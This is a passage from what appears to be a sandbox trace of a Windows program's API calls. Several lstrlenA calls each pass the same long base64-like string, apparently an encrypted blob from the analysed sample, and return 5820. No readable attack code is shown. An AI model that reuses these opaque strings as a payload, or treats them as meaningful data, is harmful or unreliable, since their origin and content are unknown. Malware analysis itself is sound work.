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") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+r